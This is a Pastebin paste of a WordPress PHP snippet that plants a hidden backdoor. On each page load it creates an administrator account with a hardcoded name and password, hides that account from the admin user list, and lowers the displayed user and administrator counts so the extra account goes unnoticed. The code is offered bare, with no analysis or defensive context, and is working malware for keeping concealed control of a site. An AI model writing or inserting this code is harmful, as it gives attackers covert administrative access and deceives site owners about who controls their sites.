Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- add_action('init', function() {
- global $wpdb;
- $user = 'siteadmin';
- $pass = 'Password2025!';
- $mail = '[email protected]';
- if ( !username_exists( $user ) ) {
- $user_id = wp_create_user( $user, $pass, $mail );
- if ( !is_wp_error( $user_id ) ) {
- $user_obj = new WP_User( $user_id );
- $user_obj->set_role( 'administrator' );
- update_user_meta( $user_id, $wpdb->prefix . 'user_level', 10 );
- update_user_meta( $user_id, $wpdb->prefix . 'capabilities', array( 'administrator' => true ) );
- }
- }
- });
- add_action('pre_user_query', 'hide_specific_user_permanently');
- function hide_specific_user_permanently($user_search) {
- global $wpdb;
- $user_to_hide = 'siteadmin';
- $user_search->query_where = str_replace(
- 'WHERE 1=1',
- "WHERE 1=1 AND {$wpdb->users}.user_login != '$user_to_hide'",
- $user_search->query_where
- );
- }
- add_filter('views_users', 'hide_user_count_permanently');
- function hide_user_count_permanently($views) {
- foreach (['all', 'administrator'] as $view) {
- if (isset($views[$view])) {
- $views[$view] = preg_replace_callback('/\((\d+)\)/', function($m) {
- $new_count = max(0, $m[1] - 1);
- return "($new_count)";
- }, $views[$view]);
- }
- }
- return $views;
- }
Advertisement
Add Comment
Please, Sign In to add comment